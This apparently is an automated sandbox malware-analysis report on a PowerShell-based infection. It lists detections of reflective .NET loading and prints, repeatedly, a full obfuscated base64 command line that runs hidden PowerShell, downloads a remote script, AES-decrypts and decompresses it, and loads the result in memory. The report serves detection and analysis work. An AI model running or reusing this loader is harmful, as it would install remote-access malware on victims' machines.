Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Messages.cs	.Net Code: Memory
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Messages.cs	.Net Code: Memory
Source: 5.2.powershell.exe.1d3130b0098.1.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.1d31326fc88.4.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.1d3130da550.6.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 5.2.powershell.exe.1d3130d3740.2.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, Messages.cs	.Net Code: Memory
Source: 11.2.powershell.exe.1d7ce1adde0.11.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 11.2.powershell.exe.1d7cdfeefc8.0.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, Messages.cs	.Net Code: Memory
Source: 11.2.powershell.exe.1d7ce012688.10.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, Messages.cs	.Net Code: Memory
Source: 11.2.powershell.exe.1d7ce019498.1.raw.unpack, tcsnk.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVF

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFC